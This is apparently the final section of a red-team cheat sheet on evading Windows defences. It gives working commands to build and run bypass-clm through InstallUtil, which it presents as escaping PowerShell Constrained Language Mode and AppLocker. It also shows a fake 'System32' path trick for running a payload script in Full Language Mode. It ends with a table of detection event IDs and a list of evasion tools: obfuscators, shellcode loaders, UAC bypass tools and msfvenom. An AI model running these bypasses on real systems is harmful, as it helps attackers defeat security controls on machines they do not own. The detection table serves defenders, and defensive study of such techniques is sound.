# bypass-clm (Caleb Stewart's tool) — compiles this approach into an exe
# Delivers full PowerShell session bypassing CLM
# Download: https://github.com/calebstewart/bypass-clm
# Build:
git clone https://github.com/calebstewart/bypass-clm
cd bypass-clm
dotnet build -c Release
# Run (via InstallUtil to also bypass AppLocker):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
/logfile= /LogToConsole=false /U bypass-clm.exe
# Spawns a full language mode PowerShell session
12.5 Bypass — Script Path in System32 (Environment Variable Trick)
:: CLM checks if the script is in a trusted path like System32
:: If __PSLockdownPolicy is set (not GPO-enforced), scripts with "System32" in path
:: are automatically given Full Language Mode
mkdir "C:\Users\Public\System32"
copy payload.ps1 "C:\Users\Public\System32\payload.ps1"
powershell -ExecutionPolicy Bypass -File "C:\Users\Public\System32\payload.ps1"
:: Runs in FullLanguage mode
⚠️ Detection: Event ID 4104 (Script Block Logging) logs CLM bypass attempts. Sysmon Event 1 for spawned
bypass-clm.exeorInstallUtil.exeexecuting PS. Hunt forLanguageModequeries in PowerShell logs.
13. Detection Reference
| Attack | Event ID | Platform |
|---|---|---|
| AMSI bypass (patching) | 4104 — Script Block Logging | DC / Host |
| UAC bypass (fodhelper) | 4688 — Process Creation; 13 — Registry Value Set | Host |
| UAC bypass (SilentCleanup) | 4698 — Scheduled Task Modified | Host |
| RunDll32 abuse | 4688 — rundll32 with non-system DLL | Host |
| InstallUtil abuse | 4688 — InstallUtil process creation | Host |
| Process injection | Sysmon 8 (CreateRemoteThread), 10 (Process Access) | Host |
| DLL injection | Sysmon 7 — image load from non-standard path | Host |
| AppLocker bypass | 8002/8003 — AppLocker audit events | Host |
| CLM bypass (PS v2) | 400 — PowerShell engine version 2.0 started | Host |
| CLM bypass (runspace) | Sysmon 7 — clrjit.dll loaded in non-CLR process | Host |
| Static analysis bypass | No event — only AV telemetry | AV/EDR |
| Sandbox detection evasion | Behavioral anomaly — no events triggered | Sandbox |
14. Tool Cheat Sheet
| Tool | Purpose | Source |
|---|---|---|
ThreatCheck.exe |
Find exact byte triggering AV detection | GitHub: rasta-mouse |
DefenderCheck.exe |
Same — Defender-specific | GitHub |
AmsiTrigger.exe |
Find AMSI-triggering bytes in PS scripts | GitHub: RythmStick |
Invoke-Obfuscation |
PowerShell code obfuscation framework | GitHub: danielbohannon |
donut |
Convert .exe/.dll to position-independent shellcode | GitHub: TheWover |
ScareCrow |
Advanced PE/shellcode loader with AMSI/ETW bypass | GitHub: optiv |
Garble |
Go source obfuscation (used with Sliver) | GitHub: mvdan |
SharpBypassUAC |
Automated UAC bypass (.NET) | GitHub |
bypass-clm.exe |
Full Language Mode runspace bypass | GitHub: calebstewart |
Seatbelt.exe |
Host situational awareness (checks AV, CLM, AppLocker) | GitHub: GhostPack |
PowerUp.ps1 |
Local privesc and AppLocker check | PowerSploit |
UPX |
Binary packer — changes static signature | upx.github.io |
msfvenom |
Payload generation with encoders | Metasploit Framework |
Evasor |
Automated AppLocker bypass finder | GitHub: cyberark |
SharpSh / sharpsh |
In-memory PowerShell via .NET | Armory |
LOLBAS project |
Full reference of whitelisted binaries | lolbas-project.github.io |